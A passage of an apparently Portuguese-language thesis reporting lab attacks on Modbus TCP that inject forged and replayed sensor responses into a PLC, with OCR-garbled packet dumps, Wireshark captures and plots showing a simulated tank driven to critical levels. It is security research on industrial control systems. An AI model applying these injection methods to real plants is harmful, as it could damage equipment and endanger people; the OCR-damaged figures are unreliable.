version a4 ) | '["’--;'-;__, id 71 00 00 00 09 01 Of 00 00
ihl ws— - oo Oc 02 1b 04 / J
tos 18 0x0 = /
len m55—
id w1
flags 0B
frag 1w 0—
ttl 1B 64
proto Btcp—F
chksum 28 Oxf88l—
src 28 192.168.0.69- =
—
dst 48 192.168.0.169
options o8 []
{{_{_7___,.--’/
sport 8 65210—
dport 28 502——
seq 48 1963958612
ack a8 3540730032—
dataofs 5
reserved 36 0
flags 28 PA )
window w252—
chksum 28 Oxdcf8——
urgptr 0
options o8 [|
load 158 b"\x1dq\x00\x00\x0].. ]

Fonte: Autor

Esse comportamento se repete diversas vezes ao longo do ataque, provocando

o acionamento incorreto dos bracos em relacao ao processo real da planta.

4.1.2.1 Comportamento da planta

As Figuras 64 e 65 apresentam a planta e o CLP no instante do ataque. Pela
imagem da planta, observa-se claramente que uma peca verde é direcionada para
o local incorreto, uma vez que o brago correspondente as pecas azuis é acionado.
Ja a imagem que mostra o CLP em modo online confirma que o comando enviado
é para o acionamento do brago 2, referente as pecas verdes, enquanto a planta

executa o acionamento do brago 1, referente as pegas azuis.
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Figura 64 — Planta durante o ataque - Ensaio 2

66  Query: Trans: 7530; Uni
65 Response: Trans: 753@; i
73 Query: Trans: 7531;
66 Response: Trans: 7531;

7532; Uni : Read Discrete
64 Response: Trans: 7532; Uni : Read Discrete
69  Query: Trans: 7533; Uni Write Multiple
66 Response: Trans: 7533; Uni 1 : urite Multiplel

Modbus... Query: Tran[y : : Read Input Reg]

Modbus.. 65 Response: Trans: i Read Input Reg]
HModbu 73 Query: Trans: i 16: Write Multiple]
Hodbu 66 Response: Trans: : Write Multiplel
Modbus.. €6  Query: Trans: i : Read Discrete
Modbu 64 Response: Trans: i : Read Discrete

69 Query: Trans: i write multiplel

66 Response: Tran - Lrite Multiplel

f d7 bb @8
53

FACTORY 1/0 v2.5.5 - Ultimate Edition - Sorting Station

Fonte: Autor

Figura 65 — CLP durante o ataque - Ensaio 2

bl
comandos start PRIMEIRO_AZUL E2_ON E1_ON E1_ON

Fonte: Autor
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Os graficos apresentados na Figura 66 ilustram o comportamento dos bragos ao
longo do tempo no intervalo em que esta presente o instante analisado nas Figuras
64 e 65. No intervalo entre aproximadamente 70 e 72 segundos, o CLP envia
comando para acionamento do brago 2, entretanto, o brago efetivamente acionado
na planta é o brago 1. Por volta dos 74 segundos, observa-se o periodo em que o
ataque entra em modo stand-by, momento em que o valor lido pela planta volta a
coincidir com o valor enviado pelo CLP.

Esse ataque alterna entre periodos de envio de dados forjados e periodos de
funcionamento normal da planta. Embora o impacto imediato seja menos percep-
tivel, o prejuizo acumulado torna-se evidente ao longo do tempo. Dessa forma,
esse ataque pode ser considerado mais prejudicial que o anterior, gerando erros
acumulativos de separagao ao longo de periodos prolongados.

No YouTube, é possivel assistir o video que mostra o ciberataque apresentando
nesta secao, permitindo melhor visualizacao de tudo que foi descrito e apresentado
31]. 2

2

Disponivel em: <https://www.youtube.com/watch?v=iQum0qOWpfY >


https://www.youtube.com/watch?v=iQum0qOWpfY
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Figura 66 — Graficos comparativo entre o sinal real x sinal forjados (Bragos de

Estado (0/1)

Estado (0/1)

Estado (0/1)

separagao)
Braco 1 - Sinal enviado pelo CLP x Sinal recebido pelos atuadores
14 ’ —=- Braco 1 - Sinal enviado
: : —— Braco 1 - Sinal recebido
| i
1 1
1 1
1 ]
1 1
1 1
1 1
1 1
1 1
1 1
1 1
1 1
1 1
1 1
1 1
1 1
1 1
1 1
1 1
1 1
1 1
o-— ———————- ! !
T T T T T
60 65 70 75 80
Tempo (s)
Braco 2 - Sinal enviado pelo CLP x Sinal recebido pelos atuadores
N T/ 1 1
: 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 ! !
1 ! !
1 ! !
1 ! H
—=—- Braco 2 - Sinal enviado |
—— Braco 2 - Sinal recebido :
1
H i i
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
1 1 1
0 1 1
T T T T T T T T T
60.0 62.5 65.0 67.5 70.0 72.5 75.0 77.5 80.0
Tempo (s)
Braco 3 - Sinal enviado pelo CLP x Sinal recebido pelos atuadores
1717 TS
1
1
1
1
1
1
1
1
1
1
: === Braco 3 - Sinal enviado
: — Braco 3 - Sinal recebido
1
1
1
1
1
1
1
1
1
0-
T T T T T T T T T
60.0 62.5 65.0 67.5 70.0 72.5 75.0 77.5 80.0

Tempo (s)
Fonte: Autor
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4.2 Planta de controle de nivel

Agora, serdo apresentados os desdobramentos provenientes dos ataques de in-
jecdo de medicao e de resposta, aplicados a planta de controle de nivel. Assim
como na secao anterior, os ataques foram divididos em dois tipos distintos.

O primeiro, apresentado na Secao 3.4.3.3, consiste em um ataque mais simples,
baseado na inser¢ao de dados forjados enviados ao CLP como se fossem respostas
legitimas provenientes dos sensores de campo.

Ja o segundo ataque, apresentado na Se¢ao 3.4.3.4, segue a mesma logica geral,
porém, ao invés de enviar ao CLP valores completamente falsos, o atacante reutiliza
valores reais previamente capturados dos sensores da planta, retransmitindo-os de
forma repetitiva durante um intervalo de tempo definido, caracterizando um ataque

do tipo replay.

4.2.1 Ataque de injecao de dados forjados

A Figura 67 apresenta um trecho do loop de comunicacao observado apds o
inicio do ataque, contendo o pacote forjado, o pacote legitimo rejeitado pela rede
e, por fim, um pacote de confirmagao (ACK).

Neste cendrio, o tipo de pacote forjado é um Response da funcao Read Input
Registers, uma vez que o objetivo do ataque é enviar ao CLP valores falsos de
medigoes de sensores de campo, em resposta a uma requisicao legitima (Query)

que solicita essas informacdes.

Figura 67 — Captura de pacotes entre planta e CLP - Ensaio 3

909 11.286778 Modbus.. 75 Query: Trans: 43599; Unit: 1, Func: 16: Write Multiple Registers

918 11.296579 Modbus.. 66 Response: Trans: 43599; Unit: 1, Func: 16: Write Multiple Registers

911 11.318761 Modbus.. 68 Query: Trans: 43688; Unit: 1, Func: 15: Write Multiple Coils

912 11.322812 Modbus.. 66 Response: Trans: 43680; Unit: 1, Func: 15: Write Multiple Coils

913 11.346763 Modbus... 66 Query: Trans: 43681; Unit: 1, Func: 2: Read Discrete Inputs

914 11.356722 Modbus.. 64 Response: Trans: 43681; Unit: 1, Func: 2: Read Discrete Inputs
.378782 Modbus.. 66 Query: Trans: 43602; Unit: 1, Func: : Read Input Registers

-3 1
- 334885 66 65165 + 582 [ACK] Seq

Fonte: Autor

A logica por tras deste ataque segue a mesma ideia dos ataques anteriores. En-

tretanto, conforme explicado previamente, este caso é mais complexo, uma vez que
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o intervalo de tempo entre um Query e o respectivo Response é significativamente
menor do que o intervalo observado entre comunicagoes em canais distintos.

Ainda assim, observa-se que, de forma andloga ao que ocorria nos ataques de
injecdo de comandos do tipo QWMC, o pacote legitimo ¢é rejeitado pela rede, pois
um pacote forjado, contendo o ataque, ocupa previamente a posicao esperada na
sequéncia de comunicagao TCP.

Nesse contexto, o pacote 916 representa o pacote forjado de ataque, enquanto o
pacote 917 corresponde ao pacote legitimo, que foi considerado uma retransmissao
e, portanto, descartado pela pilha TCP.

Antes de partir para a andlise detalhada do pacote de ataque, é importante
discutir o papel do pacote 918. Trata-se de um pacote de confirmagao (ACK

puro), cuja fungao pode ser observada na Figura 68.

Figura 68 — Pacote 918

ling factor: -1 (unknown}]
b [unverified]
s: Unverified]

mbigu 4 ing Karn's definition]
[The RTT to 8.424800 mill nds]
lient Contiguc ;

rer Contiguou

Fonte: Autor

Como pode ser observado na figura, esse pacote confirma explicitamente o
recebimento do segmento correspondente ao pacote 916, e nao ao pacote 917, que
¢é o pacote legitimo.

Esse ACK é enviado em resposta ao pacote 917, indicando que a resposta espe-
rada para a requisicao presente no pacote 915 ja havia sido recebida anteriormente,
no pacote 916. Dessa forma, o pacote 917 é interpretado como uma retransmissao
desnecessaria.

Esse pacote de confirmagcao nao aparece nos ataques de injecao de comandos do

tipo Query. Isso ocorre porque pacotes Query representam requisi¢oes iniciadas
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pelo cliente em direcao ao servidor, e nao respostas a uma solicitacao prévia.

Assim, quando um Query forjado é injetado na comunicagao, ele é tratado
como uma nova requisicao inesperada pela planta, enquanto o pacote legitimo
subsequente é interpretado apenas como uma retransmissao. Nesse cenario, nao
hé necessidade do envio de um ACK puro adicional.

No caso do ataque por injecao de Response, o comportamento é diferente. Como
existe previamente uma requisicao valida, o pacote de resposta ja é esperado pelo
cliente. Dessa forma, quando o pacote de resposta forjado (pacote 916) é aceito
pela rede, o pacote legitimo subsequente (pacote 917) é descartado, e o pacote 918
atua como uma confirmagao explicita de que a resposta esperada ja foi recebida.

Partindo agora para a analise dos pacotes de ataque e legitimo, as Figuras 69 e

70 apresentam a construcao dos pacotes e permitem uma comparacgao direta entre

eles.
Figura 69 — Pacote 916
34 §g§0§fd7bbd8f3bc297d35
dst 68 34:52:60:6f:d7:bb____ %
src o8 d8:f3:bc:29:7d:35 7 00 ol m 40 -wm
type 3 IPvd—

fe 8d] 21 7a 33 11 50 18
- /@‘:f_&l 00 00 / /

version w4 | /laa 52 /90 00 00 09 01 04 06 03

ihl b o g e8 03 e8 00 00 /
tos 18 0x0 . -1
len 55—

id .1 /
flags 0B /
frag B o—

ttl 18 64

proto mtep— —

chksum 28 OxfB8l——

src 48 192.168.0.169  — a

dst 28 192.168.0.69

options o8 [|

sport 8 502——

dport 2 65165 —

seq 48 561656593

ack 48 1327318949—

dataofs a5 /

reserved 0

flags 8 PA - P

window w253—

chksum 28 Oxbf48——

urgptr 20

options o8 []

Raw

load 158 b"\xaaR\x00\x00\x0[...]

Fonte: Autor



Capitulo 4. Resultados e Discussao 136

Figura 70 — Pacote 917

Ethernet B_mmda £3 bc 29 7d 35

dst 68 34:52:60:6f:d7:bb_ %
src 66 d8:f3:bc:20:7d:35 T—— _db BT I—f—MO 00l 80 -I_'r—lc fa [_‘_—]CO a8 00 &

type 28 Pvé e 01_%6][fe 8d| 21 7a 33 11 50 18
e5 75 00 00 / /
version a4 »'-7.‘__,, laa 52 00 00 00 09 01 04 06 00
ihl ws—— i d? o1 d3 00 00 /

tos 18 0x0 ;

len 2 Bh————

id 28 56199

flags os DF

frag 1w 0—

ttl 18 128

proto 1B tcp— - - = /)

chksum 28 Ox9cfa—— ] —

src 48 192.168.0.169 71 /] //

dst 48 102.168.0.60 iy yd

options o8 [] 7

sport 502 — -~

dport 8 65165

seq 48 561656593

ack 18 1327318949—

dataofs 5

reserved 36 0

flags 28 PA e »

window wm255—

chksum 28 Oxeb4b—

urgptr 0

options o8 [|

load 158 b"\xaaR\x00\x00\x0]...]

Fonte: Autor

A andlise necessaria para a comparagao entre os pacotes de ataque e os pacotes
legitimos segue exatamente a mesma metodologia adotada nos ataques anteriores.
Campos criticos para o funcionamento da comunica¢ao, como seq, ack e os iden-
tificadores da camada de aplicacao, com excecao dos dados propriamente ditos,
devem permanecer idénticos. O mesmo se aplica a campos das camadas inferiores,
como [P.src, IP.dst, TCP.sport e TCP.dport.

O ponto de maior interesse nesta andlise esta nos dados da camada de aplicacao.
Conforme explicado anteriormente, a planta de controle de nivel transmite ao CLP
os valores de trés sensores distintos, sendo cada valor do tipo WORD, ocupando
dois bytes. Dessa forma, os tltimos seis bytes do pacote correspondem aos dados
dos sensores, sendo os dois primeiros referentes ao sensor de nivel, os dois seguintes

ao sensor de vazao e os dois ultimos ao knob de setpoint.
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Dentre esses sinais, o sensor de nivel é o mais relevante, pois representa a
variavel de processo controlada pelo algoritmo PID implementado no CLP.

Observa-se que, no pacote legitimo, o valor do sensor de nivel é 00D7, que
corresponde a 215 em decimal. Considerando que o CODESY' interpreta variaveis
do tipo WORD no intervalo de 0 a 1000, esse valor representa aproximadamente
21,5% do nivel do tanque.

Em contrapartida, o pacote forjado envia ao CLP o valor 03E8, correspondente
a 1000 em decimal, ou seja, 100% do nivel do tanque. Além disso, o valor de
setpoint enviado pelo pacote de ataque é 0000, configurando o menor valor possivel
para o nivel desejado.

Dessa forma, o ataque atua de maneira dupla: ao mesmo tempo em que reduz o
setpoint da planta para o valor minimo, envia continuamente ao CLP uma leitura
falsa indicando que o tanque se encontra em nivel méaximo. Como consequéncia,
o CLP interpreta que o nivel estd muito acima do valor de referéncia e, portanto,
mantém a valvula de saida aberta na tentativa de reduzir o nivel do tanque até o
setpoint.

Entretanto, como o valor real do nivel do tanque nao corresponde a leitura for-
jada, o controlador nao ¢é capaz de perceber a inconsisténcia do processo, operando

exclusivamente com base nos dados falsificados recebidos pela rede.

4.2.1.1 Comportamento da planta

As Figuras 71 e 72 apresentam o comportamento da planta e os valores rece-
bidos pelo CLP durante o ataque. Observa-se que o ataque fez com que o nivel
do tanque fosse reduzido a valores criticos, com a valvula de saida permanecendo
continuamente acionada.

Ao analisar a imagem que apresenta os valores lidos pelo CLP, fica evidente
que o ataque conseguiu injetar com sucesso valores falsos de leitura do sensor de
nivel, indicando constantemente 100% de nivel. Dessa forma, a acao de controle
calculada pelo controlador PID assume seu valor maximo, também correspondente
a 100%.

Como consequéncia direta, a valvula de saida permanece aberta de forma con-

tinua, promovendo a drenagem do tanque e reduzindo o nivel real do processo até
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patamares criticos. Esse comportamento evidencia que o CLP opera normalmente
do ponto de vista 16gico, porém baseado em informacoes incorretas provenientes da
)

rede, o que caracteriza uma violagao severa da integridade dos dados do processo.

Figura 71 — Planta durante o ataque - Ensaio 3

%> Factory 10 - m} X

A  FILE = I

Waming Lig
€3

ren 0

.5.5 - Ultimate Edition - Level Control ill: Modbus TCP/IP Server (Started)

Fonte: Autor
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Figura 72 — CLP durante o ataque - Ensaio 3

@ Lamp BUUL A
@ Sensor_Nivel W(ﬂ) E)OO%
& Nivel _REAL REAL 1000
@ Nivel_CM REAL 300
& Sensor_Vazao_Saida WORD 0 %
& SETPOINT_CM REAL 75

+ @ PID1 PID

[=% ACAO. CONTROLE REAL 1000
@ stop_reset BOOL r
& AMPLITUDE INT 482
& CONTADOR INT 478
@ visao INT 83

+ @ GEN1 GEN

PID1

h7 —— -1
) LIMITS_ACTIVE e
Nivel_CM ACTUAL OVERFLOW | FALSE
SETPOINT_CM ——— SET_POINT
—_—p
——FTN
—v
—_—1Y MANI Al

Fonte: Autor

O grafico apresentado na Figura 73 mostra a comparagao entre o valor real do
nivel do tanque e o valor de nivel lido pelo CLP. J& o grafico da Figura 74 apresenta
a relacao entre o nivel percebido pelo CLP e a respectiva acao de controle aplicada
a valvula de saida.

Analisando os dois graficos em conjunto, torna-se claro o comportamento do
CLP frente ao ataque. Assim que o ataque se inicia, por volta dos 10 segundos, o
valor de nivel recebido pelo CLP passa a ser constante e correspondente ao nivel
maximo do tanque. Consequentemente, a acao de controle acompanha esse valor,
mantendo a valvula de saida aberta na tentativa de reduzir o nivel do processo.

O grafico comparativo entre o valor real e o valor forjado do nivel é particu-
larmente relevante, pois permite observar que, enquanto o CLP interpreta o nivel
como maximo, o nivel real do tanque decresce gradualmente até atingir patamares

criticos.
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Figura 73 — Grafico comparativo entro o valor real x valor forjado - Ensaio 3
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Fonte: Autor

Figura 74 — Valor da acao de controle em relacao ao valor do nivel - Ensaio 3

Valor lido pelo CLP vs Agao de controle
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Fonte: Autor
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Ainda assim, o CLP continua acionando a valvula de saida, uma vez que nao
possui meios de distinguir que os valores recebidos sao fruto de um ataque e nao
refletem o estado real do processo.

Observam-se, entretanto, alguns pontos de instabilidade nos graficos, nos quais
o valor de nivel lido pelo CLP retorna abruptamente ao valor real por um curto
intervalo de tempo, voltando em seguida ao valor forjado. Esses eventos provocam
oscilagoes momentaneas na acao de controle. A Figura 75 apresenta, com maior

detalhe, o intervalo entre 25 e 30 segundos, no qual essas falhas ocorrem de duas

formas distintas.

Figura 75 — Falhas na injecao do ataque - Ensaio 3

Valor lido pelo CLP vs Acdo de controle

300

100

250 A

r8o
200 A

r60
1509

Nivel do tanque (cm))
Abertura da valvula (%)

F40
100 4

r20
50 4

—— Valor lido pelo CLP
— Agdo de controle

T T T T Q
25 26 27 28

Tempo (s)

Fonte: Autor

Nota-se que, préximo ao instante de 25 segundos, o valor de nivel lido pelo

CLP retorna momentaneamente ao valor real, levando a acao de controle a reduzir
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ou desligar a valvula de saida. J& proximo ao instante de 28 segundos, apesar do
valor de nivel permanecer forjado, a acao de controle é levada a zero por um curto
periodo. Esses comportamentos anémalos estao diretamente relacionados a falhas
pontuais na comunicagao da rede.

Esses dois instantes podem ser observados na Figura 82, a partir da andlise dos
pacotes capturados no Wireshark. No primeiro caso, proximo ao instante de 25
segundos, correspondente aos pacotes 2523 e 2524, ocorreu um atraso ou variagao
temporal na comunicacao, fazendo com que o pacote de ataque fosse enviado apos o
pacote legitimo. Dessa forma, o pacote forjado foi considerado uma retransmissao

e rejeitado pela rede.

Figura 76 — Identificacdo das falhas na injecao dos ataques - Ensaio 3

2528 28.878225 Modbus... 66 Quer‘y: Trans: 44217; Unit: 1, Func: 2: Read Discrete Inputs
Modbu 64 Response: Trans: 44217;: Unit: 1, Func: 2: Read Discrete Inputs
= — -
Modbus... 66 Query: Trans: 44218; Unit: 1, Func: 4: Read Input Registers
Trans: 1 4

Modbus...

TCP

Response: 44218;

: Read Input Registers
| 7 Ack=15261 Win=254 Len=15
Len=8 SLE=12677

SRE=12692

2526 28.118237 Modbus... 75 Query: Trans: 44219; Unit: 1, Func: 16: Write Multiple Registers
2527 28.132179 Modbus... 66 Response: Trans: 44219; Unit: 1, Func: 16: Write Multiple Registers
2528 28.142228 Modbus... 68 Query: Trans: 44228; Unit: 1, Func: 15: Write Multiple Coils
2529 28.152289 Modbus... 66 Response: Trans: 44228; Unit: 1, Func: 15: Write Multiple Coils
2539 28.173991 TICMPvE 174 Router Adver‘tiseﬁnt from ©2:10:18:c7:b4:c8

2531 28.1784808 Modbus... [{3 Query: Trans: 44221; Unit: 1, Func: 2: Read Discrete Inputs

2532 28.184895 Read Discrete Inputs

Fonte: Autor

No segundo caso, proximo ao instante de 28 segundos, associado aos pacotes
2533 e 2534, o pacote de ataque foi enviado antes mesmo da requisi¢ao (Query) do
tipo Read Input Register. Como nao havia uma requisicao valida antecedendo esse
pacote de resposta forjada, a rede rejeitou o pacote de ataque. Nesse intervalo,
os valores nao foram corretamente transmitidos ao CLP, que interpretou a leitura
como zero, levando a agdo de controle também a zero.

Apesar dessas instabilidades pontuais, o ataque demonstrou-se extremamente
efetivo. O préprio CLP, operando de acordo com sua logica de controle original
e sem qualquer falha interna, foi induzido a reduzir o nivel do tanque até valores
criticos com base em dados falsificados.

No YouTube, é possivel assistir o video que mostra o ciberataque apresentando

nesta secao, permitindo melhor visualizacao de tudo que foi descrito e apresentado
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32]. 3

4.2.2 Ataque do tipo Replay

Por fim, o ataque do tipo replay foi realizado de forma semelhante ao ataque de
injecao de dados forjados. No entanto, a principal diferenca entre esses dois ataques
esta nos dados da camada de aplicagdo. Conforme explicado anteriormente, neste
ataque foram capturados pacotes legitimos, cujos valores lidos pelos sensores foram
replicados durante um determinado periodo de tempo.

De forma analoga ao ataque anterior, a troca de pacotes ocorreu conforme
ilustrado na Figura 67, em que o pacote de ataque ¢ injetado antes do pacote
legitimo, seguido por um pacote de ACK confirmando o primeiro pacote recebido.

Assim como nos ataques anteriores, os pacotes de ataque foram construidos de

modo que seus campos criticos fossem idénticos aos dos pacotes legitimos.

4.2.3 Comportamento da planta

Os graficos apresentados nas Figuras 77 e 78 mostram, respectivamente, a
comparac¢ao entre o valor real do nivel do tanque e o valor lido pelo CLP, bem
como a relacao entre a agdo de controle e o valor de nivel lido pelo CLP.

Observa-se que, neste ensaio, os valores utilizados no ataque correspondem
a niveis baixos do tanque, diferentemente do ataque anterior. Pouco antes do
instante 20, o ataque é iniciado, repetindo valores de nivel capturados pouco antes
do seu inicio e mantendo esse padrao de repeticao durante todo o periodo do
ataque.

Ao analisar o grafico da acao de controle, percebe-se que, assim que o ataque se
inicia, a acao de controle é levada a zero e permanece nesse valor, com o objetivo
de compensar o nivel baixo, porém falso, indicado pelo sensor.

Com base nos dois graficos, é possivel observar que o nivel real do tanque
comega a subir e, em menos de dois minutos, atinge um nivel critico. Entretanto,
o CLP continua interpretando os valores repetidos durante o ataque, nao reagindo

adequadamente a condicao real do sistema.

3 Disponivel em: <https://www.youtube.com/watch?v=CRQ15tCnE2k>


https://www.youtube.com/watch?v=CRQ15tCnE2k
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Figura 77 — Grafico comparativo entre o valor real e o valor forjado - Ensaio 4
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Figura 78 — Valor da acao de controle em relagao ao valor do nivel - Ensaio 4
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As Figuras 79 e 80 mostram, respectivamente, o estado da planta préoximo ao
final do ataque e o modo online do CLP, evidenciando seu comportamento durante

o0 evento.

Figura 79 — Planta durante o ataque - Ensaio 4
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Figura 80 — CLP durante o ataque - Ensaio 4
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Nota-se que o tanque atinge valores proximos ao seu limite maximo e, mesmo
assim, a valvula de saida permanece fechada, impedindo o escoamento do liquido
e a manutengao do nivel em um valor seguro.

Ao observar a imagem referente ao comportamento do CLP, verifica-se que o
valor indicado pelo sensor permaneceu em 324 (32,4%), apesar de o tanque estar
completamente cheio. A agdo de controle, por sua vez, reage a esse valor falso e
mantém-se em zero, ou seja, a valvula de saida nao é acionada para permitir o
escoamento do liquido.

Entretanto, assim como ocorrido no ataque anterior, houve momentos em que
o ataque falhou e o valor real do sensor sobrescreveu o valor injetado, ou o valor
injetado foi enviado antes da requisicao. Nessas situagdes, como no intervalo de
tempo entre 80 e 85 segundos, o CLP passou a ler o valor zero, na variavel nivel e
reagiu de forma abrupta, aumentando rapidamente a agao de controle para esvaziar

o tanque, como pode ser observado entre 80 e 85 segundos na Figura 81.

Figura 81 — Falhas na injecao do ataque - Ensaio 4
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Nesse intervalo, observa-se que a acao de controle voltou a se comportar de
maneira normal, abrindo a valvula de saida por aproximadamente cinco segundos.
Isso indica que o ataque falhou durante esse periodo. A Figura 82 evidencia essa

falha de comunicagao.

Figura 82 — Identificagdo das falhas na injecdo dos ataques - Ensaio 4
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Conforme explicado anteriormente, podem ocorrer situagdes em que o pacote
de ataque é enviado antes mesmo da requisicdo (query) correspondente. Nesses
casos, a comunicacgao falha e o CLP interpreta o valor do sensor como zero. Como
pode ser observado na Figura 82, essa falha ocorreu diversas vezes consecutivas, ao
longo de aproximadamente cinco segundos, o que corresponde ao comportamento
observado no grafico.

Dessa forma, este ataque apresentou mais falhas do que o anterior, o que pode
ser explicado pelo maior tempo de duragao do ataque, tornando-o mais suscetivel
a oscilagoes na rede. Ainda assim, o ataque demonstrou-se bastante efetivo, le-
vando o tanque a atingir niveis maximos criticos. No YouTube, é possivel assistir
o video que mostra o ciberataque apresentando nesta secao, permitindo melhor

visualizagao de tudo que foi descrito e apresentado [33]. *

4 Disponivel em: <https://www.youtube.com/watch?v=X5c7TK8ID6tA >


https://www.youtube.com/watch?v=X5c7K8lD6tA
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5 Conclusoes

Este trabalho apresentou diferentes conceitos de redes de comunicac¢ao indus-
trial e ciberataques, contribuindo para um entendimento mais aprofundado sobre
o tema. Foi possivel, principalmente, diferenciar os principais conceitos relacio-
nados a ciberataques em redes de comunicacao industrial, bem como identificar e
caracterizar alguns tipos de ataques. O objeto de estudo principal foi o protocolo
de rede Modbus TCP, com foco em ataques de injecdo de comandos e injecao de
respostas por meio da propria rede.

Sendo assim, este estudo permitiu compreender as particularidades do proto-
colo de comunicacdo em questao, seu funcionamento e seus pontos vulneraveis.
Ao submeter o protocolo Modbus TCP a diferentes tipos de ataques, foi possivel
perceber que, apesar de ainda ser amplamente utilizado na industria, existem fra-
gilidades inerentes a sua concep¢ao, especialmente no que diz respeito a seguranca.

Ressalta-se que a intencao deste trabalho nao é estudar ou incentivar formas de
invasao de redes industriais privadas, mas sim, considerando um cenario em que o
atacante ja possui acesso a rede, compreender como os ataques atuam na troca de
pacotes e como uma planta real poderia ser manipulada de forma potencialmente
catastrofica. Além disso, este trabalho evidencia a importancia de se desenvolver e
aplicar mecanismos de prevenc¢ao e mitigacao de ciberataques em redes industriais,
como o conceito da Kill Chain, anteriormente apresentado na Figura 52.

Dessa forma, o trabalho demonstrou-se bem-sucedido em relagao aos seus obje-
tivos. Foi possivel realizar quatro diferentes tipos de ciberataques em duas plantas
distintas e, simultaneamente, capturar toda a troca de pacotes na rede, analisando
o comportamento do CLP e da planta diante dos ataques.

Todos os quatro ataques mostraram-se efetivos. Os ataques direcionados di-
retamente a planta alteraram estados de atuadores conforme definido no codigo
de ataque, causando mau funcionamento do processo em ambos os casos, sendo o
cenario discreto considerado mais critico, devido ao seu potencial de passar des-
percebido pelo operador. Ja os ataques direcionados ao CLP conseguiram fazer

com que o proprio controlador tomasse decisoes que, do ponto de vista da logica
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de controle, eram corretas, porém prejudiciais a planta, permitindo que o tanque
atingisse niveis criticos maximos ou minimos.

Durante os ataques direcionados ao CLP, foram observadas algumas falhas,
principalmente relacionadas ao envio de pacotes de ataque ao longo do periodo
em que estes estavam sendo executados. Em determinados momentos, o pacote
de ataque era enviado alguns milissegundos apds o pacote legitimo, sendo assim,
rejeitado pela sequéncia de comunicacao da rede.

Em outros casos, o pacote de ataque era enviado antes mesmo do pacote de
requisicao (Query) correspondente, fazendo com que, naquele instante, o CLP
assumisse o valor zero para as variaveis recebidas devido a falha momentanea de
comunica¢ao. FEssas falhas ocorreram exclusivamente nos ataques de injecao de
respostas, uma vez que o pacote de ataque era do tipo Response, o que torna sua
execucao mais sensivel ao tempo. Isso se deve ao fato de que o intervalo entre um
Query legitimo e um Response legitimo é da ordem de 1ms, dificultando o envio do
pacote de ataque no instante exato para sobrepor o pacote legitimo. Ainda assim,
foi possivel executar os ataques de forma eficiente, e, apesar das falhas observadas,
os ataques ao CLP mostraram-se consistentes ao longo do periodo total de ataque.

Algo importante a ser ressaltado é que casos de recusa de pacotes por retrans-
missao, bem como a ocorréncia de pacotes do tipo ACK puro enviados para confir-
mar a recepc¢ao de mensagens, como observado e explicado ao longo deste trabalho,
nao indicam necessariamente a presenca de um ciberataque. Retransmissoes e pa-
cotes ACK fazem parte do funcionamento normal de protocolos confidveis, como
o TCP, e podem ocorrer devido a falhas pontuais, perdas de pacotes ou atrasos
esporadicos na rede.

Entretanto, no contexto de ciberataques, esses eventos tendem a ocorrer de
forma repetitiva e em maior escala, destoando do comportamento esperado para
uma comunicagao normal. Dessa forma, a recorréncia anémala de retransmissoes,
rejeicoes de pacotes ou confirmacgoes fora do padrao pode ser utilizada como um
indicativo de que algo anormal esta ocorrendo na rede, podendo levar a suspeita
de um ciberataque. Ressalta-se, porém, que essa conclusao sé é possivel quando
ha monitoramento e analise continua do trafego de rede, uma vez que tais eventos,
isoladamente, nao sdo suficientes para caracterizar um ataque.

Por fim, o trabalho evidencia que, caso um individuo mal-intencionado consiga
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ultrapassar as barreiras de defesa de uma rede industrial baseada no protocolo
Modbus TCP, torna-se possivel a execucao de ataques capazes de causar danos
significativos a planta. Embora o protocolo possua mecanismos intrinsecos de ve-
rificagao de pacotes legitimos, como o uso de Transaction ID, campos de sequéncia
e confirmacao (seq e ack), verificagdo de enderegos IP, tamanho da mensagem, en-
tre outros, os resultados mostraram que tais protecoes podem ser burladas por
meio da captura e analise do trafego da rede. Mesmo em um ambiente contro-
lado e de pequena escala, foi possivel reproduzir ataques eficazes, o que reforga a

necessidade de investimentos em seguranca cibernética para sistemas industriais.
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